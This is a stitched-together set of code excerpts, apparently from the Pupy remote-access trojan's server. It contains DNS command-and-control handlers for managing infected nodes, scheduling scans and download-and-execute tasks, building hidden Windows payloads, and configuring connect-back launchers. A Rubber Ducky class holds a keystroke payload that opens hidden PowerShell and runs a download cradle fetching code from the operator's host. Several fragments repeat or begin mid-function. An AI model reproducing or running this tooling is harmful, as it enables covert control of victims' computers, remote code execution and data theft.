                    session.system_info['external_ip'] or '?'
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                elif c.node() == '{:012x}'.format(session.system_info['node']):
                    pupy_session = c.desc['id']
                    break

            color = None

            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'IDLE',
            'DURATION', 'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({'P': pupy_session})

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION',
            'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex,
                                             args.timeout,
                                             args.poll,
                                             node=args.node)
            if count:
                handler.display(
                    Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(session=args.node, default=args.default)

        if count:
            handler.display(
                Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        try:
            count = server.dnscnc.connect(host=args.host,
                                          port=args.port,
                                          transport=args.transport,
                                          node=args.node,
                                          default=args.default)
        except Exception, e:
            handler.display(Error(e))
            return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))
Ejemplo n.º 24
0
    def gen_exe(self, options=''):
        sourcepath = self.gen_source(random_path=True)

        if not self.outpath:
            outfile = os.path.join(
                self.output_dir or '.', 'pupy_' + ''.join(
                    random.choice(ascii_uppercase + ascii_lowercase)
                    for _ in range(8)) + '.exe')
        else:
            outfile = self.outpath

        try:
            command = ['mcs']

            if self.server:
                config = self.server.config
            else:
                from pupylib import PupyConfig
                config = PupyConfig()

            sdk = config.get('gen', 'mcs_sdk', 4)
            options = ' '.join(
                [options, config.get('gen', 'mcs_options', '') or ''])

            if options:
                command.extend(shlex.split(options))

            if not self.conf.get('debug', False):
                if '-target:' not in options:
                    command.append('-target:winexe')

                if '-debug' not in options:
                    command.append('-debug-')

                if '-optimize' not in options:
                    command.append('-optimize+')

            command.extend([
                '-unsafe', '-noconfig', '-sdk:{}'.format(sdk),
                '-OUT:{}'.format(outfile), sourcepath
            ])

            self.display(
                Success('compiling via mono command: {}'.format(
                    ' '.join(command))))

            try:
                output = subprocess.check_output(command).strip()
                if output:
                    self.display(output)

            except subprocess.CalledProcessError as e:
                self.display(
                    Error('Mono compilation failed: {}'.format(e.output)))
                return None

            except OSError:
                self.display(
                    Error(
                        "mcs compiler can't be found ... install mono-mcs package"
                    ))
                return None

        finally:
            os.unlink(sourcepath)

        return outfile
Ejemplo n.º 25
0
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'onlinestatus':
        count = server.dnscnc.onlinestatus(node=args.node,
                                           default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
                        count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'scan':
        count = server.dnscnc.scan(args.host,
                                   args.first,
                                   args.last or args.first,
                                   node=args.node,
                                   default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
                        count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))
Ejemplo n.º 26
0
def do(server, handler, config, args):
    handler.display(
        Info("Raw user arguments given for generation: {0}".format(
            str(args.launcher_args))))
    if not args.launcher:
        handler.display(
            Info(
                "Launcher/connection method not given. It is set to 'connect' now"
            ))
        args.launcher = 'connect'
    #launcher method 'connect' or 'auto_proxy'
    if args.launcher and args.launcher in ('connect', 'auto_proxy'):
        transport = None  #For saving the transport method (default or given by user)
        transport_idx = None
        host = None  #Host for listening point (not for launcher args)
        port = None  #Port for listening point (not for launcher args)
        host_idx = None  #For saving host:port from user args (if given by user)
        preferred_ok = True
        need_transport = False  #For appending transport method in launcher args
        need_hostport = False  #For appending host & port for connection back in launcher args

        if args.launcher_args:
            #Some arguments are given in command line, saving host&port and transport method
            total = len(args.launcher_args)
            for idx, arg in enumerate(args.launcher_args):
                if arg == '-t' and idx < total - 1:
                    #Manage Transport
                    transport = args.launcher_args[idx + 1]
                    transport_idx = idx + 1
                    handler.display(
                        Info(
                            "Launcher configuration: Transport for connection back will be set to {0}"
                            .format(repr(transport))))
                elif arg == '--host' and idx < total - 1:
                    #Manage host & port for connection back
                    host_idx = idx + 1
                    hostport = args.launcher_args[host_idx]
                    if ':' in hostport:
                        host, port = hostport.rsplit(':', 1)
                        port = int(port)
                    else:
                        try:
                            port = int(hostport)
                        except:
                            host = hostport
                    handler.display(
                        Info(
                            "Launcher configuration: Host & port for connection back will be set to {0}:{1}"
                            .format(host, port)))

        need_transport = not bool(transport)
        need_hostport = not all([host, port])

        #If host, port or transport are missing
        if not all([host, port, transport]):
            default_listener = None
            preferred_ok = False

            if transport:
                #Transport method is given, get the listener
                default_listener = server.listeners.get(transport)
                if not default_listener:
                    handler.display(
                        Error(
                            'Requested transport {} is not active. Will use default'
                            .format(transport)))
                    #We need to save the transport method for the launcher
                    need_transport = True

            if not default_listener:
                try:
                    default_listener = next(server.listeners.itervalues())
                except StopIteration:
                    pass

            if default_listener:
                #We have a listener, we can set host & port
                transport = default_listener.name

                handler.display(
                    Info(
                        'This local listening point will be used: Transport={} Address={}:{}'
                        .format(default_listener.name,
                                default_listener.external,
                                default_listener.external_port)))

                if host or port:
                    handler.display(
                        Warn(
                            'Host and port {0}:{1} are ignored for getting the valid local listening point but'
                            .format(host, port)))
                    handler.display(
                        Warn(
                            'they are kept for configuring the launcher for connection back'
                        ))

                if args.prefer_external != default_listener.local:
                    host = default_listener.external
                    port = default_listener.external_port
                    preferred_ok = True
                    handler.display(
                        Info(
                            "Host & port for listening point are set to: {0}:{1}"
                            .format(host, port)))
                elif not args.prefer_external and not default_listener.local:
                    host = get_listener_ip(cache=False)
                    port = default_listener.port
                    if host:
                        handler.display(
                            Warn(
                                'Using {0}:{1} as local IP:PORT for the local listening point'
                                .format(host, port)))
                    preferred_ok = True
                else:
                    preferred_ok = not (default_listener.local
                                        and args.prefer_external)

        #If transport is missing
        if not transport:
            handler.display(
                Error(
                    'No active transport method. You have to explicitly choose one. Impossible to continue.'
                ))
            return

        #If host or port is missing or preferred_ok
        if not all([host, port, preferred_ok]):
            maybe_port = get_listener_port(config,
                                           external=args.prefer_external)
            maybe_host, local = get_listener_ip_with_local(
                external=args.prefer_external, config=config, igd=server.igd)

            if (not local and args.prefer_external) or not (host and port):
                handler.display(
                    Warn('Using configured/discovered: {0}:{1}'.format(
                        maybe_host, maybe_port)))
                host = maybe_host
                port = maybe_port
            else:
                handler.display(Warn('Unable to find external HOST:PORT'))

        #If need a transport method because not given by user for launcher
        if need_transport:
            if transport_idx is None:
                args.launcher_args += ['-t', transport]
            else:
                args.launcher_args[transport_idx] = transport
            #Transport method not given by user. Consequently,
            handler.display(
                Info("Transport method {0} appended to launcher args".format(
                    repr(transport))))

        #If host and port are not given/find for connection back
        if need_hostport:
            hostport = '{}:{}'.format(host, port)
            if host_idx is None:
                args.launcher_args += ['--host', hostport]
            else:
                args.launcher_args[host_idx] = hostport
            #Host & port method not given by user. Consequently,
            handler.display(
                Info("Host & port {0} appended to launcher args".format(
                    repr(hostport))))

    #Enable HTTPD if required
    if server.httpd:
        handler.display(Info("HTTPD enabled"))
        wwwroot = config.get_folder('wwwroot')
        if not args.output_dir:
            args.output_dir = wwwroot

    try:
        output = pupygen.pupygen(args, config, server, handler.display)

    except pupygen.NoOutput:
        return

    except Exception, e:
        handler.display(Error(e, 'payload generation failed'))
        import traceback
        traceback.print_exc()
        return
Ejemplo n.º 27
0
class rubber_ducky():
    '''
    '''
    TARGET_OS_MANAGED = ['Windows']
    ENCODE_CMD = "java -jar {0}  -i {1}  -l {2} -o {3}"  #{0} encode.jar file, {1} rubber ducky script file, {2} layout file, {3} output file
    WINDOWS_SCRIPT = """DELAY 3000\nGUI r\nDELAY 500\nSTRING powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://{0}:{1}/p')"\nENTER"""  #{0} ip {1} port

    def __init__(self,
                 display,
                 conf,
                 pupy_conf,
                 link_port=8080,
                 targetOs='Windows'):
        '''
        '''
        self.conf = conf
        i = conf["launcher_args"].index("--host") + 1
        self.link_ip = conf["launcher_args"][i].split(":", 1)[0]
        self.link_port = link_port
        self.pupy_conf = pupy_conf

        self.__loadRubberDuckyConf__()

        self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt'
        self.rubberDuckyBinFilename = 'inject.bin'

        self.targetOs = targetOs
        self.display = display
        self.unconfigured = False

        if self.targetOs not in self.TARGET_OS_MANAGED:
            self.display(
                Error(
                    'Target OS ({0}) is not valid. It has to be in {1}'.format(
                        targetOs, self.TARGET_OS_MANAGED)))

    def createRubberDuckyScriptForWindowsTarget(self):
        '''
        '''
        with open(self.rubberDuckyScriptFilename, 'wb') as w:
            w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port))

        self.display(
            Success('Rubber ducky script file generated in {0}'.format(
                self.rubberDuckyScriptFilename)))

    def generateInjectBinFile(self):
        '''
        returns True if no error
        Otherwise returns False
        '''
        rubberDuckyEncodeCmd = self.ENCODE_CMD.format(
            self.encoderPath, self.rubberDuckyScriptFilename,
            self.keyboardLayoutPath, self.rubberDuckyBinFilename)
        try:
            output = subprocess.check_output(rubberDuckyEncodeCmd,
                                             stderr=subprocess.STDOUT,
                                             stdin=subprocess.PIPE,
                                             shell=True)
        except subprocess.CalledProcessError, e:
            self.display(
                Error(
                    'Impossible to generate {0} file with encoder: {1}'.format(
                        self.rubberDuckyBinFilename, repr(e.output))))

        except Exception, e:
            self.display(
                Error(
                    'Impossible to generate {0} file with encoder: {1}'.format(
                        self.rubberDuckyBinFilename, repr(e))))
            return False
Ejemplo n.º 28
0
 def disabled_exit(*args, **kwargs):
     handler.display(
         Error('exit() disabled ! use ctrl+D to exit the python shell'))
Ejemplo n.º 29
0
def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN':
            server.dnscnc.dns_domain,
            'DNS PORT':
            str(server.dnscnc.dns_port),
            'RECURSOR':
            server.dnscnc.dns_recursor,
            'LISTEN':
            str(server.dnscnc.dns_listen),
            'SESSIONS':
            'TOTAL={} DIRTY={}'.format(server.dnscnc.count,
                                       server.dnscnc.dirty),
            'POLL':
            '{}s'.format(policy['interval']),
            'TIMEOUT':
            '{}s'.format(policy['timeout']),
            'KEX':
            '{}'.format(bool(policy['kex'])),
        }

        handler.display(
            Table([{
                'PROPERTY': k,
                'VALUE': v
            } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([
                '{:03d} {}'.format(i, cmd)
                for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.iteritems():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) ==
                        int else node, cmd) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#':
                '{:03d}'.format(idx),
                'P':
                '',
                'NODE':
                '{:012x}'.format(session.system_info['node']),
                'SESSION':
                '{:08x}'.format(session.spi),
                'EIP':
                session.system_info['external_ip'] or '?',
                'IIP':
                session.system_info.get('internal_ip') or '',
                'OS':
                '{}/{}'.format(session.system_info['os'],
                               session.system_info['arch']),
                'CPU':
                '{:d}%'.format(session.system_status['cpu']),
                'MEM':
                '{:d}%'.format(session.system_status['mem']),
                'LIS':
                '{:d}'.format(session.system_status['listen']),
                'EST':
                '{:d}'.format(session.system_status['remote']),
                'USERS':
                '{:d}'.format(session.system_status['users']),
                'IDLE':
                '{}'.format(session.system_status['idle']),
                'TAGS':
                '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            if pupy_session:
                object.update({'P': pupy_session})

            color = ''
            if (session.online_status or session.egress_ports
                    or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status[
                    'mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM',
            'LIS', 'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
                    session.system_info['external_ip'] or '?'
                ),
                'INTERNAL IP': '{}'.format(
                    session.system_info.get('internal_ip') or ''
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            color = None

            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP',
            'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({'P': pupy_session})

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION',
            'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex,
                                             args.timeout,
                                             args.poll,
                                             node=args.node)
            if count:
                handler.display(
                    Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(session=args.node, default=args.default)

        if count:
            handler.display(
                Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        # try:
        count = server.dnscnc.connect(args.host,
                                      args.port,
                                      args.transport,
                                      args.fronting,
                                      node=args.node,
                                      default=args.default)
        # except Exception, e:
        #     handler.display(Error(e))
        #     return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'onlinestatus':
        count = server.dnscnc.onlinestatus(node=args.node,
                                           default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
                        count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'scan':
        count = server.dnscnc.scan(args.host,
                                   args.first,
                                   args.last or args.first,
                                   node=args.node,
                                   default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule scan request to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'disconnect':
        count = server.dnscnc.disconnect(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule disconnect to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'exit':
        count = server.dnscnc.exit(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule exit to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'reexec':
        count = server.dnscnc.reexec(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule reexec to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'sleep':
        count = server.dnscnc.sleep(args.timeout,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'proxy':
        count = server.dnscnc.proxy(args.uri,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule proxy to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'dexec':
        count = server.dnscnc.dexec(args.url,
                                    args.action,
                                    proxy=args.proxy,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'pastelink':
        try:
            create = None
            output = None

            if args.create:
                create = args.create
            elif args.create_content:
                create, output = args.create_content

            count, url = server.dnscnc.pastelink(content=create,
                                                 output=output,
                                                 url=args.url,
                                                 action=args.action,
                                                 node=args.node,
                                                 default=args.default,
                                                 legacy=args.legacy)

            if output:
                return

            if count:
                handler.display(
                    Success('Schedule exit to {} known nodes'.format(count)))
            elif args.node:
                handler.display(Error('Node {} not found'.format(args.node)))

        except ValueError as e:
            handler.display(Error('{}'.format(e)))

    elif args.command == 'extra':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Error('No sessions found'))
            return
        elif len(sessions) > 1:
            handler.display(Error('Selected more than one sessions'))
            return

        session = sessions[0]

        if session.online_status:
            handler.display('\nONLINE STATUS\n')
            objects = [{
                'KEY':
                Color(k.upper().replace('-', ' '),
                      'green' if session.online_status[k] else 'lightyellow'),
                'VALUE':
                Color(
                    str(session.online_status[k]).upper(),
                    'green' if session.online_status[k] else 'lightyellow')
            } for k in [
                'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http',
                'https', 'https-no-cert', 'https-mitm', 'proxy',
                'transparent-proxy', 'stun', 'mintime', 'ntp-offset'
            ]]

            handler.display(Table(objects, ['KEY', 'VALUE']))

            handler.display('\nPASTES STATUS\n')
            objects = [{
                'KEY': Color(k, 'green' if v else 'lightyellow'),
                'VALUE': Color(v, 'green' if v else 'lightyellow')
            } for k, v in session.online_status['pastebins'].iteritems()]
            handler.display(Table(objects, ['KEY', 'VALUE']))

            session.online_status = None

        if session.egress_ports:
            handler.display('\nEGRESS PORTS: {}\n'.format(','.join(
                str(x) for x in session.egress_ports)))
            session.egress_ports = set()

        if session.open_ports:
            handler.display('\nOPEN PORTS\n')
            objects = [{
                'IP': str(ip),
                'PORTS': ','.join(str(x) for x in ports)
            } for ip, ports in session.open_ports.iteritems()]
            handler.display(Table(objects, ['IP', 'PORTS']))
            session.open_ports = {}
Ejemplo n.º 30
0
                myport = get_listener_port(config, external=args.prefer_external)

                display(Warn(
                    'Required argument missing, automatically adding parameter '
                    '--host {}:{} from local or external ip address'.format(myip, myport)))

                if '-t' in args.launcher_args or '--transport' in args.launcher_args:
                    args.launcher_args += ['--host', '{}:{}'.format(myip, myport)]
                else:
                    args.launcher_args += [
                        '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport')
                    ]
            elif str(e).strip().endswith('--domain is required') and '--domain' not in args.launcher_args:
                domain = config.get('pupyd', 'dnscnc').split(':')[0]
                if not domain or '.' not in domain:
                    display(Error('DNSCNC disabled!'))
                    return

                display(Warn(
                    'Required argument missing, automatically adding parameter'
                    '--domain {} from configuration file'.format(domain)))

                args.launcher_args = [
                    '--domain', domain
                ]

            else:
                display(launcher.arg_parser.format_help())
                return
        else:
            break